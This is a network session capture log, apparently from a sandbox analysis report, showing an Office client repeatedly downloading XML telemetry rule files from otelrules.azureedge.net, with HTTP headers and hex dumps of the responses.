EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49890	13.107.246.45	443	3608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:14 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:15 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:14 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 119e228c-001e-0046-1663-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132714Z-178bfbc474bvjk8shC1NYC83ns00000001d0000000007mhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:15 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:14 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:15 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 80f906ca-601e-000d-73dd-3b2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132715Z-r1d97b9957747b9jhC1TEBgyec0000000ah0000000008g66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:16 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:16 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5a5a14b6-c01e-0079-438c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132716Z-1777c6cb754gvvgfhC1TEBz4rg0000000b70000000009g47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:16 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:17 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132716Z-178bfbc474bfw4gbhC1NYCunf400000001eg00000000k2pt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:16 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:17 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: ff0b0d52-c01e-002b-2681-3b6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132717Z-1777c6cb754lvj6mhC1TEBke940000000b7000000000a48r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:16 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:17 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132717Z-r1d97b99577brct2hC1TEBambg000000042g00000000b045 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:17 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:17 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7bd1ae59-401e-008c-598c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132717Z-178bfbc474bscnbchC1NYCe7eg00000001q0000000009p9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:18 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:18 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132718Z-178bfbc474bwh9gmhC1NYCy3rs00000001f000000000p1ra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:18 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:19 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 4a98b9d9-501e-008c-636d-3bcd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132719Z-178bfbc474bbbqrhhC1NYCvw7400000001t0000000000vag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:19 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:19 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:19 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132719Z-178bfbc474bkvpdnhC1NYCuu2w00000001hg00000000gmzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:19 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:19 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 32afe7a4-a01e-0021-2bc3-3b814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132719Z-r1d97b99577brct2hC1TEBambg0000000440000000007hhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 13:27:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:19 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:20 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:19 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132719Z-1777c6cb754dqf99hC1TEB5nps0000000awg00000000kg09 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
